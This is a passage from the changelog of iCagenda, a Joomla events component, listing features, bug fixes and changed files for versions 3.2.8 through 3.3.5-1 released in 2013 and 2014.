~ admin/views/events/view.html.php
~ media/scripts/icthumb.php
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/js/jQuery.highlightToday.js
~ [MODULE] modules/mod_iccalendar/js/jQuery.highlightToday.min.js
~ site/add/elements/icsetvar.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php


iCagenda 3.3.5-1 (patch) <small style="font-weight:normal;">(2014.04.29)</small>
================================================================================
# Fixed : possible issue with uploaded files (image and/or file) not attached correctly in frontend submission form.

* Changed files in 3.3.5-1
~ site/views/submit/tmpl/default.php


iCagenda 3.3.5 <small style="font-weight:normal;">(2014.04.27)</small>
================================================================================
+ Added : Control if event is published before editing a user registered for an event. (prevent error if user is registered to an unpublished event)
+ Added : Control if registered date still exists when editing a user registered for an event.
~ Changed : can convert date format depending on the option setting for date format (menu or global), when registration saved since version 3.3.3.
# [MEDIUM] Fixed : Date selection in Registration edition.
# [LOW] Fixed : missing loading of template.js on registration edition (Joomla 2.5).
# [LOW] Fixed : wrong css styling of pagination (Joomla 2.5).

* Changed files in 3.3.5
~ admin/add/css/template.css
~ admin/models/fields/modal/evt_date.php
~ admin/models/fields/modal/evt.php
~ admin/models/registrations.php
~ admin/views/registration/tmpl/edit.php
~ admin/views/registrations/tmpl/default.php
~ site/helpers/icmodel.php


iCagenda 3.3.4 <small style="font-weight:normal;">(2014.04.25)</small>
================================================================================
! Joomla 3.3 Ready! This version has been tested on 3.3.0 rc, and a few improvements has been done to run well on the new Joomla 3.3 available soon !
+ Added : Displays 'Home Page' and 'Submit a New Event' buttons, after validation of the event submission form, if user is logged in (was only displayed when user not logged in).
+ Added : Show 'Registration Options' in frontend submission form, only if registration is activated in global options.
~ Changed : Hide User ID when logged-in in registration form (was visible only for registered user).
~ Changed : no more 'onload' to initialize Google Maps (could prevent onload conflict with other extensions).
# [MEDIUM][Joomla 3.2.x & 3.3-beta] Fixed : in the frontend submission form, when user logged-in, 'disabled' changed to 'readonly' for user name and email, as it will not be submitted on a Joomla 3.3 website, and was giving the bug of double-click-needed on the submit button on J3.2.
# [MEDIUM][Joomla 2.5] Fixed : Global Options BUG with options not accessible -> Not correct path for js files in admin (after change of location for the scripts files in 3.3.3), on Joomla 2.5.
# [LOW] Fixed : Possible missing close div in submission form, if registration not displayed.
# [LOW][MODULE Calendar] Fixed : time was displayed even if the option to show time in event edition was disabled. Control missing in default theme pack.

* Changed files in 3.3.4
~ admin/add/elements/desc.php
~ admin/add/elements/title.php
~ admin/icagenda.php
- admin/models/fields/modal/time.php
~ admin/models/forms/event.xml
~ admin/views/event/tmpl/edit.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/icagenda/view.html.php
~ script.icagenda.php
~ site/helpers/icmodel.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ site/views/list/tmpl/registration.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/send.php
~ site/views/submit/view.html.php
+ media/js/jquery.noconflict.js


iCagenda 3.3.3 <small style="font-weight:normal;">(2014.04.20)</small>
================================================================================
! New : Edition in admin of a user registered for an event, and possibility to create a new registered user.
! New : Advanced options for Registration Button. You can now replace individually for each event, the link on the button by an external url or an article ('Options' tab, in admin event edition). Another option is added for browser target of the registration button.
+ Added : Global option to set a default date format (general settings tab).
+ [MODULE Calendar] Added : Option to display a custom text in header of calendar. (Thanks doorknob)
+ [MODULE Calendar] Added : Option to set a padding for the tooltip, on mobile devices. (Thanks doorknob)
~ Changed : Date selected during a registration will be saved in database without formatting.
~ Changed : IcoMoon replaced by iCicon font (iCagenda vector icons font), for print and calendar icons on Joomla 3.
~ Changed : forms (Submission and Registration): uses iCtip script to generate information tooltips (replaces css3 tooltips, and adds responsive behaviour to detect screen border).
~ Changed : folder 'add/js' moved from admin and site folders to media folder.
~ [THEME PACKS] Changed : in THEME_day.php file, 'cal_date' changed to 'data-cal-date' (to avoid possible future conflicts as html5 is developed).
~ [ROUTER SEF] Changed : "event_registration" to "registration" at the end of url to registration form (when SEF enabled).
~ Code : many code cleaned and/or improved (Thank you Doorknob for your precious contribution!).
- [ROUTER SEF] Removed : "event_details" at the end of url to event details view (when SEF enabled) and provides a better SEO score.
- [MODULE] Removed : br tags after date/close header in calendar tooltip.
# [MEDIUM] Fixed : error in a php function which changes event time (winter/summer time) when event over a period starting before daylight saving, and finishing after daylight saving.
# [MEDIUM] Fixed : displaying of today, and/or upcoming, or past events are now using Joomla config time zone, to prevent issue with server timezone.
# [LOW] Fixed : ordering of categories (admin).
# [LOW] Fixed : possibility of a PHP Warning: Invalid argument supplied for foreach() in /components/com_icagenda/views/list/tmpl/event.php on line 48, in your site error log.
# [LOW] Fixed : Not sending notification to the user who registers for an event, if email is not set as required.
# [LOW] Fixed : Error if no events, with Addthis button.
# [LOW] Fixed : Bug in All Dates, when only sunday for period (wrong display : "Sunday & Sunday").
# [LOW] Fixed : It was not loading Google Maps script if only coordinates were indicated (empty address).
# [LOW][PLUGIN Search] Fixed : Display of events not filtered by current language.
# [LOW][PRO][MODULE iC Event List] Fixed : Possible missing thumbnail, if no leading "/" in image url.

* Changed files in 3.3.3
~ admin/add/css/icagenda.css
~ admin/add/image/joomlic_iCagenda.png
~ admin/add/image/logo_icagenda.png
- [FOLDER] admin/add/js/
~ admin/config.xml
~ admin/controllers/categories.php
~ admin/controllers/event.php
+ admin/controllers/registration.php
~ admin/helpers/icagenda.php
~ admin/liveupdate/liveupdate.php
~ admin/models/event.php
~ admin/models/events.php
~ admin/models/fields/modal/date.php
+ admin/models/fields/modal/evt.php
+ admin/models/fields/modal/evt_date.php
~ admin/models/fields/modal/icalert_msg.php
+ admin/models/fields/modal/iclink_article.php
+ admin/models/fields/modal/iclink_type.php
+ admin/models/fields/modal/iclink_url.php
~ admin/models/forms/event.xml
+ admin/models/forms/registration.xml
+ admin/models/registration.php
~ admin/tables/category.php
~ admin/tables/event.php
+ admin/tables/registration.php
~ admin/views/categories/tmpl/default.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/info/tmpl/default.php
+ admin/views/registration/tmpl/edit.php
+ admin/views/registration/tmpl/index.html
+ admin/views/registration/view.html.php
~ admin/views/registrations/tmpl/default.php
~ admin/views/registrations/view.html.php
~ admin/views/themes/tmpl/default.php
~ media/scripts/icthumb.php
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/js/jQuery.highlightToday.js
~ [MODULE] modules/mod_iccalendar/js/jQuery.highlightToday.min.js
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ [PLUGIN] plugins/search/plg_icagenda/icagenda.php
~ script.icagenda.php
~ site/add/css/icagenda.css
~ site/add/css/style.css
~ site/add/elements/icsetvar.php
- [FOLDER] site/add/js/
~ site/helpers/ichelper.php
~ site/helpers/iCicons.class.php
~ site/helpers/icmodel.php
~ site/router.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_component_xsmall.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/default/default_registration.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_xsmall.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module_small.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_registration.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/submit/tmpl/default.php


iCagenda 3.3.2 <small style="font-weight:normal;">(2014.03.17)</small>
================================================================================
! [PLUGIN] New plugin iCagenda search, enables searching in events.
- Removed : option 'All options' (by individual date and for all period) in 'Registration type' (not logical).
# [MEDIUM] Fixed : Not displaying singles dates in registration form.
# [LOW] Fixed : Not setting default value correctly for new global options: show/hide venue's name, city, country and short description.
# [LOW][THEME PACKS] Fixed : Missing ic-box-date class in ic_rounded xsmall media css file.
# [LOW][MODULE] Fixed : possibility of a notice message related to the jquery checking.

* Changed files in 3.3.2
~ admin/models/forms/event.xml
~ admin/tables/event.php
~ icagenda.xml
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
+ [PLUGIN] plugins/search/plg_icagenda/icagenda.php
+ [PLUGIN] plugins/search/plg_icagenda/icagenda.xml
+ [PLUGIN] plugins/search/plg_icagenda/index.html
+ [PLUGIN][FOLDER] language
~ script.icagenda.php
~ site/add/elements/icsetvar.php
~ site/helpers/icmodel.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_xsmall.css
~ site/views/list/view.html.php


iCagenda 3.3.1 <small style="font-weight:normal;">(2014.03.14)</small>
================================================================================
+ Added : Global options to show/hide information in list of events (venue's name, city, country, short description).
+ Added : Global options to show/hide day, month and/or year in date box of the list of events.
+ Added : Global option to set HTML filtering in Short Description (All italicized, No HTML or Authorized tags: <br />, <b>, <strong>, <i>, <em>, <u>).
+ Added : Global option to set first day of the week (used when list of weekdays is displayed).
+ [MODULE iC Calendar] Added : Options to select a background color for days with only one event or more than one event.
+ [MODULE iC Calendar] Added : HTML Filtering Option for Short Description in tooltip.
~ Changed : redirect to login page if user has no access to submission form or is not logged-in.
~ [THEME PACKS] Changed : display order of Venue's name, city and country in tooltip of the calendar (now on the same line).
~ [THEME PACKS][ic_rounded] Changed class names for day, month and year in date box.
- [THEME PACKS] Removed, module iC calendar : <i> tags for short description in tooltip.
# [MEDIUM] Fixed : Duplicate display of alert message, and not display of event details, if event not approved, and user logged-in with approval permissions.
# [MODULE iC Calendar][LOW] Fixed : Not displaying events in module calendar on Joomla 2.5, if all categories selected.

* Changed files in 3.3.1
~ admin/config.xml
~ admin/models/registrations.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/info/tmpl/default.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ site/add/elements/icsetvar.php
~ site/helpers/icmodel.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/default/default_events.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_events.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/event.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php


iCagenda 3.3.0 <small style="font-weight:normal;">(2014.03.06)</small>
================================================================================
! [Theme Packs] Added media css files for Responsive Design.
! [SQL] Creates table #__icagenda_customfields database to prepare future Custom Fields System.
+ Added : Options to show/hide the fields in Event Submission Form.
+ Added : Option "Contact's email" in Admin notification mailing list for registrations.
+ Added : Filter by Upcoming/Past/Today events (Admin Events List).
+ Added : Filter by event (Admin Registrations List).
+ [MODULE iC Calendar] Added : Multi-selection of categories.
+ [MODULE iC Calendar] Added : Option to select a default font color for calendar.
+ [SQL] Added : 'metadesc' field to store an event meta-description (if not set, uses the new function to generate a short meta-description based on full description (limited to 160 characters to give the best SEO performance).
+ [SQL] Added : 'custom_fields' field to store data from custom fields (not yet available).
~ [Theme Pack] DEFAULT : major changes in event details view (default_event.php) and list view (default_events.php) by removing table tags, and using div to display content. Many class names changed with a leading prefix 'ic-' added to prevent possible conflict of naming with site templates css files.
~ Updated : iCalcreator updated from v2.16.12 to v2.18 (Add to iCal and Outlook).
~ Changed : limited length for url when adding an event to Yahoo and Google calendar (to prevent errors).
~ Changed : Updating preview of event image in edit admin when mouseover preview link.
~ Changed : Removal of the 404 block in order to prevent double display of an error page (depending of the site template used).
~ [SEO] Changed and enhanced : meta title and description are improved, better filtering, and give the best possible SEO performance.
~ [PRO][MODULE iC Event List] Changed : Using user timezone or if not set, Joomla server time zone, to set today time.
# [HIGH] Security : Fixed access to registration form when an event is unpublished or finished (prevents spamming).
# [MEDIUM] Fixed : conflict with module login, when a user log-in or log-out on the event details view, if 'add to cal' activated (loading iCal/outlook .ics file).
# [MEDIUM] Fixed : redirect to login page if user has no access to registration form and event details page (if direct visit to this page).
# [LOW] Fixed : not sending if missing space after comma, in custom list of emails for notification email.
# [LOW] Fixed : add to outlook calendar if no end date.
# [LOW] Fixed : Error introduced in a previous version with 'add to cal' function, concerning Windows live and yahoo calendars (url broken).
# [LOW] Fixed : Error to get show_page_heading from menu, when not set.
# [LOW] Fixed : conflict of 'date' variable between event details view and calendar (renamed 'iccaldate' in calendar).
# [LOW] Fixed : Error in setting next date if only one date (and/or only sunday) selected as weekday (period events).
#  Many minor bugs fixed, and many code improvement.

* Changed files in 3.3.0
~ admin/config.xml
~ admin/models/category.php
~ admin/models/event.php
~ admin/models/events.php
~ admin/models/forms/event.xml
~ admin/models/mail.php
~ admin/models/registrations.php
~ admin/sql/install.mysql.utf8.sql
~ admin/sql/uninstall.mysql.utf8.sql
~ admin/tables/event.php
~ admin/views/categories/tmpl/default.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ admin/views/events/view.html.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/info/tmpl/default.php
~ admin/views/registrations/tmpl/default.php
~ admin/views/registrations/view.html.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ script.icagenda.php
~ site/add/css/icagenda.css
~ site/add/css/style.css
~ site/add/elements/icsetvar.php
~ site/helpers/iCalcreator.class.php
~ site/helpers/ichelper.php
~ site/helpers/iCicons.class.php
~ site/helpers/icmodel.php
+ site/helpers/media_css.class.php
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
+ [THEME PACKS] site/themes/packs/default/css/default_component_large.css
+ [THEME PACKS] site/themes/packs/default/css/default_component_medium.css
+ [THEME PACKS] site/themes/packs/default/css/default_component_small.css
+ [THEME PACKS] site/themes/packs/default/css/default_component_xsmall.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
+ [THEME PACKS] site/themes/packs/default/css/default_module_large.css
+ [THEME PACKS] site/themes/packs/default/css/default_module_medium.css
+ [THEME PACKS] site/themes/packs/default/css/default_module_small.css
+ [THEME PACKS] site/themes/packs/default/css/default_module_xsmall.css
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_events.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_large.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_medium.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_small.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_xsmall.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module_large.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module_medium.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module_small.css
+ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module_xsmall.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_events.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default.xml
~ site/views/list/tmpl/default_vcal.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/view.html.php
+ SQL : Adding 'metadesc' column to table #__icagenda_events
+ SQL : Adding 'custom_fields' column to table #__icagenda_registration
+ SQL : Create table #__icagenda_customfields



iCagenda 3.2.13 <small style="font-weight:normal;">(2014.02.01)</small>
================================================================================
! [COMPONENT] Advanced Admin ACL (manage access permissions in iCagenda Backend).
! [MODULE iC Calendar] Enhancement of tooltip display on mobile device. Addition of new options in params of the module. (Thanks doorknob!)
! [MODULE iC Calendar] Beta timezone options removed. A new script, developped by doorknob, is now setting "today" highlight according to visitor local time. You keep option to use Joomla Server Time Zone, and you can set highlight on UTC time zone.
! [GNU/GLP License] Update license to version 3 (or later).
+ Added : Category filtering in administration list of events.
+ Added : Category ordering in administration list of events.
~ [Source Language] Fixed of a few errors in english (en-GB British) source translations files (centre, information...). (Thanks Phil Winsor!)
# [LOW] Fixed : limited length to 2068 bytes of the url to add an event to Google Calendar, to prevent 404 error (url length limitation).
# [LOW] Fixed : missing [...] for short description, in default Theme Pack.
# [LOW] Fixed : attachment field in event form (mouseover).
# [LOW] Fixed : Some global styling error in main css files, and some other needed replacements.
# [LOW] Fixed : Conflict Bootstrap/Google Maps, on Zoom Control and street view button (Joomla 3.2).
# [LOW][THEME PACKS] Fixed : Email cloacking click in 'Default' Theme Pack.
# [LOW][MODULE iC Calendar] Fixed : Missing <tr> tags in week days thead.
# [MEDIUM][MODULE iC Calendar] Fixed : Removed limit of sql request.

* Changed files in 3.2.13
! [GNU/GLP License v3] LICENSE.txt
~ admin/access.xml
~ admin/add/css/icagenda.css
~ admin/helpers/icagenda.php
~ admin/icagenda.php
~ admin/liveupdate/classes/tmpl/nagscreen.php
~ admin/models/events.php
~ admin/models/fields/modal/icalert_msg.php
~ admin/models/fields/modal/icfile.php
~ admin/tables/event.php
~ admin/views/categories/tmpl/default.php
~ admin/views/category/tmpl/edit.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ admin/views/events/view.html.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/info/tmpl/default.php
~ admin/views/mail/tmpl/edit.php
~ admin/views/registrations/tmpl/default.php
~ admin/views/themes/tmpl/default.php
+ media/images/global_options-48.png
+ [Folder] media/images/panel_denied/
+ [MODULE][PRO] modules/mod_ic_event_list/LICENSE.txt
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
- [MODULE] modules/mod_iccalendar/js/function.js
- [MODULE] modules/mod_iccalendar/js/function_312.js
- [MODULE] modules/mod_iccalendar/js/function_316.js
- [MODULE] modules/mod_iccalendar/js/ictip.js
+ [MODULE] modules/mod_iccalendar/js/jQuery.highlightToday.js
+ [MODULE] modules/mod_iccalendar/js/jQuery.highlightToday.min.js
+ [MODULE] modules/mod_iccalendar/LICENSE.txt
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ [PLUGIN] plugins/plg_ic_autologin/ic_autologin.php
+ [PLUGIN] plugins/plg_ic_autologin/LICENSE.txt
~ script.icagenda.php
~ site/add/css/icagenda.css
~ site/add/css/style.css
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/icagenda.php
~ site/js/icmap.js
- site/js/map.js
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_events.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ site/views/list/tmpl/event.php


iCagenda 3.2.12 <small style="font-weight:normal;">(2014.01.08)</small>
================================================================================
! [MODULE iC Calendar] Disabling by default the function detecting the visitor time zone in module calendar, in order to highlight 'today'. This script function was giving some issue depending of your server, settings, and joomla version. You can now find an option in parameters of the module calendar, where you can use the visitor time zone to set 'today' highlight. If option 'Beta 1 - Visitor Time Zone' selected, when a new visitor comes to your website, it sets a variable containing his time zone in session cookies (so could slow a little when first visit of this user, as it reloads the page one time). And it keeps this information in browser cookies. If option 'Beta 2 - Visitor Time Zone' selected, retrieves the time zone of the visitor each time a page with a calendar module is loaded. If you encounter an error or problem during loading of a page where a module calendar is displayed, select 'Joomla - Server Time Zone' to use the global configuration Time Zone set for your website, and clean your cookies. A better and more advanced solution will be developped to set the detection of visitor time zone.
~ Minor enhancements and corrections in code.
~ [iCicons] Update of iCagenda iCicons font.
# [LOW][MODULE iC Event List][PRO] Fixed : Issue on joomla 2.5 with option 'All' in multi-select of categories resulting in an empty list.
# [LOW] Fixed : missing strip_tags in event.php tmpl view file.

* Changed files in 3.2.12
~ [FOLDER][iCicons] media/icicons
+ media/js/detect_timezone.js
+ media/js/jquery.detect_timezone.js
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ script.icagenda.php
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/default_registration.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css


iCagenda 3.2.11 FIX for 3.2.10 <small style="font-weight:normal;">(2014.01.04)</small>
================================================================================
! The function detecting the visitor time zone, in order to highlight 'today', and introduced in version 3.2.10, is now disabled on Joomla 2.5 website due to a possible alert message (no error on Joomla 3). This feature needs more developpement and testing before being introduced again for Joomla 2.5 sites, because of all possible script conflicts that happen on this platform (Joomla 3.2.1 is much more fluid!).
# [HIGH][MODULE iC Calendar] Fixed : Possible issue with calendar (redirecting to home page if script for setting visitor time zone failed).
# [MEDIUM] Fixed : Issue when 'All Dates' selected, and SEF not activated, in opening event details (error 404).

* Changed files in 3.2.11
~ [MODULE] modules/mod_iccalendar/helper.php
~ site/views/list/tmpl/default.php


iCagenda 3.2.10 <small style="font-weight:normal;">(2014.01.03)</small>
================================================================================
+ Added : Options for emails of notification and confirmation - Registration form.
+ [MODULE iC Event List][PRO] Added : 'Upcoming & Today' and 'Today' filter options.
+ [MODULE iC Event List][PRO] Added : Multi-selection of categories.
+ [MODULE iC Calendar] Added : Option to display 'country'.
~ Updated : Translation Credits and Contributors informations.
~ [MODULE iC Calendar] Enhancement : get visitor timezone and set it to session using javascript (client side) to highlight correctly 'today'.
~ [MODULE iC Calendar] Changed : get option 'display time' and global setting 'time format', in tooltip.
# [LOW] Fixed : Filtering of html content of the tip related to 'Add to Cal' button.
# [LOW][MODULE iC Calendar] Fixed : Error on a php 5.2 server, because of the new function to order events per hour in the tooltip (We really recommend switching to minimum php 5.3).
# [LOW][THEME PACKS] Fixed : Link on title in default theme pack.

* Changed files in 3.2.10
~ admin/config.xml
+ admin/models/fields/modal/ictext_placeholder.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/info/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ script.icagenda.php
~ site/helpers/iCicons.class.php
~ site/helpers/icmodel.php
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php


iCagenda 3.2.9 <small style="font-weight:normal;">(2013.12.28)</small>
================================================================================
+ Added : Add to calendar icon (iCal, Google, Yahoo, Windows Live and Outlook calendars) in event details view.
+ Added : Print icon in event details view.
+ [MODULE Calendar] Added : Time for each event, in infotip.
+ [MODULE Calendar] Added : Option to used the text 'Close' in the infotip, translated in your current language, or use of a custom value.
+ [MODULE iC Event List][PRO] Added : Option to display list in columns (1 to 4 columns per row).
~ [THEME PACKS] Changed : style class 'content' renamed in 'ic-content'.
~ [THEME PACKS] Removed : Back button from Theme Packs, and added it in view file (to add future options for this button).
# [LOW] Fixed : Missing date in url, when clicking on [...] in short description, if 'All Dates' option selected for the list of events page view.
# [MEDIUM] Fixed : Change og tag description to full description, for sharing on social networks (remove html tags).
# [MEDIUM][MODULES] Fixed : Date display in Event details view after click on module links, was wrong if 'All Dates' option selected for the list of events page view.
# [MEDIUM][MODULE CALENDAR] Fixed : missing closing div in loading html (may in a rare cases give an error in displaying script code).

* Changed files in 3.2.9
~ admin/config.xml
~ admin/models/fields/modal/ictxt_default.php
~ admin/models/fields/modal/icvalue_opt.php
~ admin/views/info/tmpl/default.php
+ [FOLDER] media/images/cal/
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ site/add/css/style.css
~ site/add/elements/icsetvar.php
~ site/controller.php
+ site/helpers/iCalcreator.class.php
~ site/helpers/ichelper.php
+ site/helpers/iCicons.class.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_events.php
~ [THEME PACKS] site/themes/packs/default/default_registration.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_events.php
~ site/views/list/tmpl/default.php
+ site/views/list/tmpl/default_vcal.php
~ site/views/list/tmpl/event.php
~ site/views/list/view.html.php


iCagenda 3.2.8 <small style="font-weight:normal;">(2013.12.15)</small>
================================================================================
! New : Option to display All Dates for each event (or Next/last date of each event as it was before this release).
! [THEME PACKS] Important : New file THEME_events.php to replace THEME_list.php, and new names of data variables.
+ Added : Globalization Date Format file for Ukrainian uk-UA
+ Added : Localization of Google-maps based on the current language of the site. (Thanks SLV!)
~ [MODULE iC Event List][PRO] Changed : Enhancement of Date and Time option.
~ Changed : Enhancement of css of Submission form on J2.5 websites.
# [LOW] Fixed : alone div tag, which can give problem of display of submission form page.
# [LOW] Fixed : issue in style display of category title.
# [LOW] Fixed : category title and description in header of list of events sometimes in double.
# [THEME PACKS][LOW] Fixed : css missing style for category name in header of the list of events.
# [MODULE iC Event List][PRO][LOW] Fixed : Possible issue with module display.
# [MODULE Calendar][MEDIUM] Fixed : Possible issue with module changing months, due to a bug in text "loading...".

* Changed files in 3.2.8
~ admin/add/css/icagenda.css
~ admin/config.xml
+ admin/globalization/uk-UA.php
+ admin/models/fields/modal/icalert_msg.php
~ admin/views/event/tmpl/edit.php
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ script.icagenda.php
~ site/add/css/icagenda.j25.css
- site/add/css/template.css
+ site/add/elements/icsetvar.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_event.php
+ [THEME PACKS] site/themes/packs/default/default_events.php
- [THEME PACKS] site/themes/packs/default/default_list.php
~ [THEME PACKS] site/themes/packs/default/default_registration.php
